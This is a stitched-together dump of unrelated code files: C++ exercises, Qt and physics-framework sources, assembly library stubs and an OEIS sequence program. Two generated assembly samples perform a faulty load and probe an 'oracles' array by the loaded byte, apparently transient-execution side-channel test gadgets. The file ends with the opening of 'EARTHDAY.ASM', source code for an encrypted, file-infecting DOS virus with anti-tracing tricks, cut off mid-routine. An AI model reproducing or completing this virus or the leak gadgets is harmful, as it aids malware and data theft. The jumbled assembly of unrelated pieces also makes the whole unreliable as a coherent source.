mov al,1
exitLabel:
mov ah,4ch ; AH=4Ch - Exit To DOS
int 21h ; DOS INT 21h
_TEXT ends ;IGNORE
stackseg segment para stack 'STACK' ;IGNORE
db 1000h dup(?) ;IGNORE
stackseg ends ;IGNORE
end start ;IGNORE
|
/*
Given a string S, remove consecutive duplicates from it recursively.
Input Format :
String S
Output Format :
Output string
Constraints :
1 <= |S| <= 10^3
where |S| represents the length of string
Sample Input 1 :
aabccba
Sample Output 1 :
abcba
Sample Input 2 :
xxxyyyzwwzzz
Sample Output 2 :
xyzwz
*/
#include<cstring>
void removeConsecutiveDuplicates1(char *input, int i){
int l = strlen(input);
if(input[i] == '\0')
return;
while(input[i] == input[i + 1]){
int j;
for(j = i; j < l - 1; j++){
input[j] = input[j + 1];
}
input[j] = '\0';
}
removeConsecutiveDuplicates1(input, i + 1);
}
void removeConsecutiveDuplicates(char *input) {
/* Don't write main().
* Don't read input, it is passed as function argument.
* Change in the given string itself.
* No need to return or print anything
* Taking input and printing output is handled automatically.
*/
removeConsecutiveDuplicates1(input, 0);
} |
extern m7_ippsSHA512Init:function
extern n8_ippsSHA512Init:function
extern y8_ippsSHA512Init:function
extern e9_ippsSHA512Init:function
extern l9_ippsSHA512Init:function
extern n0_ippsSHA512Init:function
extern k0_ippsSHA512Init:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsSHA512Init
.Larraddr_ippsSHA512Init:
dq m7_ippsSHA512Init
dq n8_ippsSHA512Init
dq y8_ippsSHA512Init
dq e9_ippsSHA512Init
dq l9_ippsSHA512Init
dq n0_ippsSHA512Init
dq k0_ippsSHA512Init
segment .text
global ippsSHA512Init:function (ippsSHA512Init.LEndippsSHA512Init - ippsSHA512Init)
.Lin_ippsSHA512Init:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsSHA512Init:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsSHA512Init]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsSHA512Init:
|
#include "graphDataView.h"
#include "ui_matrixview.h"
#include "matrixitemmodel.h"
#include "pathsItemModel.h"
const int stackedWidgetMatrixTableViewIndex = 1;
const int stackedWidgetTextViewIndex = 0;
QString numberToAlignStringAndInf(int number, int width = 0) {
QString result;
QString num = (number == INF) ? QApplication::tr("∞") : QString::number(number);
int n = width - num.size();
for(int i = 0; i < n; i++) {
result.append(" ");
}
result.append(num);
return result;
}
MatrixView::MatrixView(QWidget *parent) :
QDialog(parent),
ui(new Ui::MatrixView)
{
ui->setupUi(this);
}
MatrixView::~MatrixView()
{
delete ui;
}
void MatrixView::showMatrix(graphMatrix *matrix, QString title, QString addInfo)
{
MatrixItemModel model(matrix, this);
showTable(&model, title, addInfo);
}
void MatrixView::showVertexList(QVector<int> *vertices, QString title, QString addInfo)
{
ui->ViewStackedWidget->setCurrentIndex(stackedWidgetTextViewIndex);
setTextData(title, addInfo);
ui->matrixTextBrowser->clear();
for(int vertexID : *vertices) {
ui->matrixTextBrowser->append(QString::number(vertexID));
}
QDialog::exec();
}
void MatrixView::showVertexDegree(QVector<degree> *degreeV, QString title, QString addInfo)
{
ui->ViewStackedWidget->setCurrentIndex(stackedWidgetTextViewIndex);
setTextData(title, addInfo);
ui->matrixTextBrowser->clear();
QString rowStr;
for(degree d : *degreeV) {
rowStr = QString::number(d.vertexID) + tr(": ") + QString::number(d.vertexDegree);
ui->matrixTextBrowser->append(rowStr);
}
QDialog::exec();
}
void MatrixView::showManyVertexList(const QVector<QVector<int> > &pathList, QString title, QString addInfo)
{
ui->ViewStackedWidget->setCurrentIndex(stackedWidgetTextViewIndex);
setTextData(title, addInfo);
ui->matrixTextBrowser->clear();
QString rowStr;
for(QVector<int> rowList : pathList) {
for(int vertexId : rowList) {
rowStr.append(QString::number(vertexId) + " - ");
}
rowStr.resize(rowStr.size() - 3);
ui->matrixTextBrowser->append(rowStr);
rowStr.clear();
}
QDialog::exec();
}
void MatrixView::showSimpleString(const QString &string, QString title, QString addInfo)
{
ui->ViewStackedWidget->setCurrentIndex(stackedWidgetTextViewIndex);
setTextData(title, addInfo);
ui->matrixTextBrowser->clear();
ui->matrixTextBrowser->append(string);
QDialog::exec();
}
//#include <QItemDelegate>
//class ItemDelegate : public QItemDelegate
//{
//public:
// ItemDelegate()
// {}
// QSize sizeHint ( const QStyleOptionViewItem & option, const QModelIndex & index ) const
// {
// return QSize(50,50);
// }
//};
void MatrixView::showTable(QAbstractItemModel *model, QString title, QString addInfo)
{
ui->ViewStackedWidget->setCurrentIndex(stackedWidgetMatrixTableViewIndex);
setTextData(title, addInfo);
ui->matrixTableView->setModel(model);
// ItemDelegate *delegate = new ItemDelegate();
// ui->matrixTableView->setItemDelegate(delegate);
QDialog::exec();
}
void MatrixView::showGraphConnectivity(const graphConnectivity &connectivity, QString title, QString addInfo)
{
QString connectType;
switch (connectivity) {
case graphConnectivity::notConnectivity:
connectType = "Граф незв’язний";
break;
case graphConnectivity::STRONGLY:
connectType = "Граф сильнозв’язний";
break;
case graphConnectivity::WEAKLY:
connectType = "Граф слабкозв’язний";
break;
case graphConnectivity::SIDED:
connectType = "Граф однобічно-зв’язний";
break;
}
showSimpleString(connectType, title, addInfo);
}
#include <QMessageBox>
void MatrixView::showPathToAll(const pathToAll &paths, QString title, QString addInfo)
{
QAbstractItemModel *model = new pathsItemModel(paths, this);
if(paths.isHaveNegativeCycles) {
QMessageBox warningMessage;
warningMessage.setWindowTitle(tr("Від'ємний цикл"));
warningMessage.setIcon(QMessageBox::Warning);
warningMessage.setText(tr("Граф має цикл від'ємної ваги"));
warningMessage.exec();
return;
}
if(paths.isHaveNegativeEdgeWeight) {
QMessageBox warningMessage;
warningMessage.setWindowTitle(tr("Від'ємне ребро"));
warningMessage.setIcon(QMessageBox::Warning);
warningMessage.setText(tr("Граф має ребро від'ємної ваги"));
warningMessage.exec();
return;
}
showTable(model, title, addInfo);
/*
const int minNumberWidth = 2;
QString text;
text.append(tr("Найменший шлях до всіх інших вершин від вершини ") + QString::number(paths.fromVertexId) + tr("\n"));
for(weightedPath path: paths.paths.values()) {
text.append(tr("Вершина: ") + numberToAlignStringAndInf(path.id, minNumberWidth)
+ tr(". Відстань: ") + numberToAlignStringAndInf(path.weight, minNumberWidth)
+ tr(". Щлях: "));
for(int id : path.path) {
text.append(numberToAlignStringAndInf(id, minNumberWidth) + " - ");
}
text.resize(text.size() - 3);
text.append(tr("\n"));
}
showSimpleString(text, title, addInfo);
*/
}
void MatrixView::on_OKButton_clicked()
{
this->close();
}
void MatrixView::setTextData(QString title, QString addInfo)
{
setWindowTitle(title);
ui->titleLabel->setText(title);
if(addInfo != "") {
ui->infoLabel->setText(addInfo);
} else {
ui->infoLabel->setVisible(false);
}
}
|
#include <iomanip>
#include <fstream>
#include <iostream>
#include "FWCore/Framework/interface/EDAnalyzer.h"
#include "FWCore/Framework/interface/Event.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include "FWCore/Framework/interface/EventSetup.h"
#include "FWCore/Framework/interface/ESHandle.h"
#include "CondFormats/DataRecord/interface/L1TCaloStage2ParamsRcd.h"
#include "CondFormats/L1TObjects/interface/CaloParams.h"
#include "L1Trigger/L1TCalorimeter/interface/CaloParamsHelper.h"
#include "FWCore/ServiceRegistry/interface/Service.h"
#include "CondCore/DBOutputService/interface/PoolDBOutputService.h"
class L1TCaloParamsUpdater : public edm::EDAnalyzer {
public:
void analyze(const edm::Event&, const edm::EventSetup&) override;
explicit L1TCaloParamsUpdater(const edm::ParameterSet&) : edm::EDAnalyzer(){}
~L1TCaloParamsUpdater(void) override{}
};
void L1TCaloParamsUpdater::analyze(const edm::Event& iEvent, const edm::EventSetup& evSetup){
edm::ESHandle<l1t::CaloParams> handle1;
// evSetup.get<L1TCaloParamsRcd>().get( "l1conddb", handle1 ) ;
evSetup.get<L1TCaloStage2ParamsRcd>().get( handle1 ) ;
l1t::CaloParamsHelper m_params_helper( *(handle1.product ()));
// std::ifstream is("tauL1CalibLUT_V2.txt");
// l1t::LUT lut;
// std::cout<<"LUT read success: "<<lut.read(is)<<std::endl;
m_params_helper.setIsoTauEtaMax(28);
std::shared_ptr< l1t::CaloParams > ptr1 = std::make_shared< l1t::CaloParams >( m_params_helper ) ;
edm::Service<cond::service::PoolDBOutputService> poolDb;
if( poolDb.isAvailable() ){
cond::Time_t firstSinceTime = poolDb->beginOfTime();
poolDb->writeOne(ptr1.get(),firstSinceTime,"L1TCaloStage2ParamsTweakedRcd");
}
}
#include "FWCore/PluginManager/interface/ModuleDef.h"
#include "FWCore/Framework/interface/MakerMacros.h"
#include "FWCore/Framework/interface/ModuleFactory.h"
DEFINE_FWK_MODULE(L1TCaloParamsUpdater);
|
; float trunc(float x) __z88dk_fastcall
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdcciy_trunc_fastcall
EXTERN cm48_sdcciyp_dx2m48, am48_trunc, cm48_sdcciyp_m482d
cm48_sdcciy_trunc_fastcall:
call cm48_sdcciyp_dx2m48
call am48_trunc
jp cm48_sdcciyp_m482d
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xda2d, %r15
and %r14, %r14
movb (%r15), %r11b
sub $38244, %rsi
lea addresses_D_ht+0x11a2d, %rbx
nop
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %r14
movq %r14, %xmm3
movups %xmm3, (%rbx)
sub %rcx, %rcx
lea addresses_UC_ht+0xf8ad, %rcx
nop
nop
nop
nop
nop
add $2206, %r15
mov (%rcx), %r14
nop
nop
nop
xor %r11, %r11
lea addresses_WT_ht+0x8fad, %rsi
lea addresses_normal_ht+0x1cef9, %rdi
sub %r9, %r9
mov $12, %rcx
rep movsw
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_normal_ht+0x1982d, %r14
nop
nop
nop
nop
cmp $16906, %rbx
movw $0x6162, (%r14)
nop
nop
nop
nop
add %rbx, %rbx
lea addresses_UC_ht+0x13cad, %rsi
lea addresses_A_ht+0x16bf5, %rdi
add $19548, %r9
mov $18, %rcx
rep movsb
nop
nop
and $17998, %r15
lea addresses_D_ht+0xcf4d, %r15
nop
nop
nop
nop
cmp $29577, %r14
vmovups (%r15), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r9
nop
cmp $36344, %rcx
lea addresses_A_ht+0x1472d, %rbx
nop
nop
nop
nop
nop
xor %rsi, %rsi
mov (%rbx), %r15d
nop
nop
nop
nop
nop
dec %r11
lea addresses_D_ht+0x8d6a, %rsi
lea addresses_WC_ht+0x47f3, %rdi
nop
and $24971, %r9
mov $61, %rcx
rep movsq
nop
nop
sub $8287, %rcx
lea addresses_WT_ht+0x4231, %r15
nop
nop
cmp $63915, %r14
mov $0x6162636465666768, %r9
movq %r9, %xmm3
vmovups %ymm3, (%r15)
cmp %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_PSE+0xa82d, %rsi
nop
nop
nop
cmp %r11, %r11
movl $0x51525354, (%rsi)
nop
cmp %r14, %r14
// Store
lea addresses_D+0xfc5, %r11
mfence
movl $0x51525354, (%r11)
nop
nop
nop
nop
cmp %rcx, %rcx
// REPMOV
lea addresses_normal+0x802d, %rsi
lea addresses_WC+0x9def, %rdi
clflush (%rsi)
nop
nop
nop
nop
cmp $25080, %r10
mov $77, %rcx
rep movsb
nop
nop
sub %rdi, %rdi
// Load
lea addresses_A+0x1e02d, %rcx
nop
nop
sub %r14, %r14
movb (%rcx), %r11b
xor $6465, %r10
// REPMOV
lea addresses_D+0x1effd, %rsi
lea addresses_A+0x402d, %rdi
and $24488, %rbp
mov $64, %rcx
rep movsw
nop
nop
sub $29383, %r10
// Store
lea addresses_WT+0x1b0ad, %rbp
nop
cmp %r11, %r11
mov $0x5152535455565758, %rcx
movq %rcx, (%rbp)
nop
nop
cmp %rcx, %rcx
// Load
lea addresses_A+0xc489, %rcx
nop
nop
nop
nop
nop
dec %r11
mov (%rcx), %rdi
nop
nop
nop
inc %r15
// Store
lea addresses_D+0x37d5, %r14
mfence
mov $0x5152535455565758, %r11
movq %r11, (%r14)
nop
nop
nop
nop
nop
sub $18646, %r10
// Load
lea addresses_RW+0x112d, %r15
nop
nop
nop
nop
nop
cmp %r14, %r14
mov (%r15), %r10w
add $17988, %r11
// Load
lea addresses_WC+0x16d98, %rcx
nop
dec %r11
movb (%rcx), %r15b
nop
nop
nop
nop
nop
add $2995, %r10
// Store
lea addresses_D+0x482d, %r15
nop
nop
inc %rbp
mov $0x5152535455565758, %rcx
movq %rcx, %xmm0
vmovups %ymm0, (%r15)
nop
nop
nop
nop
add %r14, %r14
// Faulty Load
lea addresses_A+0x1e02d, %r10
nop
nop
nop
nop
nop
and $50816, %r14
movb (%r10), %r11b
lea oracles, %rsi
and $0xff, %r11
shlq $12, %r11
mov (%rsi,%r11,1), %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_normal', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 0, 'same': False}}
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
include xlibproc.inc
include Wintab.inc
PROC_TEMPLATE WTQueuePacketsEx, 5, Wintab, -, 200
|
; void in_mouse_kempston_setpos_callee(uint16_t x, uint16_t y)
SECTION code_clib
SECTION code_input
PUBLIC in_mouse_kempston_setpos_callee
EXTERN asm_in_mouse_kempston_setpos
in_mouse_kempston_setpos_callee:
pop af
pop bc
pop de
push af
jp asm_in_mouse_kempston_setpos
|
; A080500: a(n) = (n-1)(n-4)(n-9)...(n-k^2) where k^2 < n <= (k+1)^2.
; 1,1,2,3,4,10,18,28,40,54,140,264,432,650,924,1260,1664,4284,8100,13376,20400,29484,40964,55200,72576,93500,236808,443232,728000,1108380,1603800,2235968,3028992,4009500,5206760,6652800,8382528,20867704
mov $1,1
mov $2,$0
mov $4,2
lpb $2
mul $1,$2
add $3,$4
sub $2,$3
trn $2,1
lpe
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
lea addresses_UC_ht+0xe1fb, %rdi
nop
nop
nop
nop
nop
sub %r13, %r13
movb (%rdi), %al
nop
nop
nop
dec %r8
lea addresses_WT_ht+0x176fb, %r15
nop
nop
nop
nop
nop
xor $54692, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
and $0xffffffffffffffc0, %r15
vmovntdq %ymm3, (%r15)
nop
nop
nop
nop
nop
xor %r15, %r15
lea addresses_A_ht+0x47db, %rax
nop
cmp %r15, %r15
mov $0x6162636465666768, %rdi
movq %rdi, (%rax)
nop
add $31051, %rdi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_RW+0x1b5d, %r15
nop
nop
nop
add %rsi, %rsi
movl $0x51525354, (%r15)
nop
nop
nop
nop
xor %rbx, %rbx
// Faulty Load
lea addresses_D+0x142fb, %rbx
clflush (%rbx)
nop
nop
add %r11, %r11
mov (%rbx), %esi
lea oracles, %r15
and $0xff, %rsi
shlq $12, %rsi
mov (%r15,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include "compute.h"
int main(int argc, char **argv)
{
int n = 8;
int nbytes = n*sizeof(double);
double *data = (double *)malloc(nbytes);
for (int i=0; i < n; ++i)
data[i] = (double)(pow(2,-i*2));
printf("Calling kernel\n");
double result = compute(data, n);
printf("Result: %f\n", result);
return 0;
}
|
; EARTHDAY.ASM -- Earth Day Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
